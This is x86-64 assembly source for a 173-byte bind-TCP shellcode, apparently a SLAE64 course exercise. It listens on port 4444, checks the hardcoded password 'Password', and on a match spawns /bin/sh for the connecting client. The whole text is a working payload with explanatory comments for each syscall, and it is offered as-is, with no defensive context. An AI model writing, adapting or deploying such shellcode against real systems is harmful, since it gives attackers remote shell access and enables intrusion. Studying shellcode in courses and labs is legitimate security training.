;Bind_TCP 4444 with password ; ;Default password = Password ; ;If connected the shellcode no prompt for password ; ;Enter password directly and you get the bin/sh shell; ;if password is wrong the shellcode exit: ; ;Christophe G SLAE64 - 1337 size 173 bytes ; global _start _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 push 0x29 pop rax push 0x2 pop rdi push 0x1 pop rsi xchg rbx , rdx syscall ; copy socket descriptor to rdi for future use xchg rax , rdi ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) xor rax, rax mov dword [rsp - 4] , eax mov word [rsp - 6] ,0x5c11 mov byte [rsp - 8] , 0x2 sub rsp , 8 ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 push 0x31 pop rax mov rsi, rsp push 0x10 pop rdx syscall ; listen(sock, MAX_CLIENTS) ; syscall number 50 push 0x32 pop rax push 0x2 pop rsi syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ; syscall number 43 push 0x2b pop rax sub rsp, 0x10 mov rsi, rsp push 0x10 mov rdx, rsp syscall ; store the client socket description mov r9, rax ; close parent push 0x3 pop rax syscall xchg rdi , r9 xor rsi , rsi dup2: push 0x21 pop rax syscall inc rsi cmp rsi , 0x2 loopne dup2 CheckPass: xor rax , rax push 0x10 pop rdx sub rsp , 16 ; 16 bytes to receive user input mov rsi , rsp xor edi , edi syscall ; system read function call mov rax , 0x64726f7773736150 ; "Password" lea rdi , [rel rsi] scasq jz Execve push 0x3c pop rax syscall Execve: xor rax , rax mov rdx , rax push rax mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall push 0x3b pop rax syscall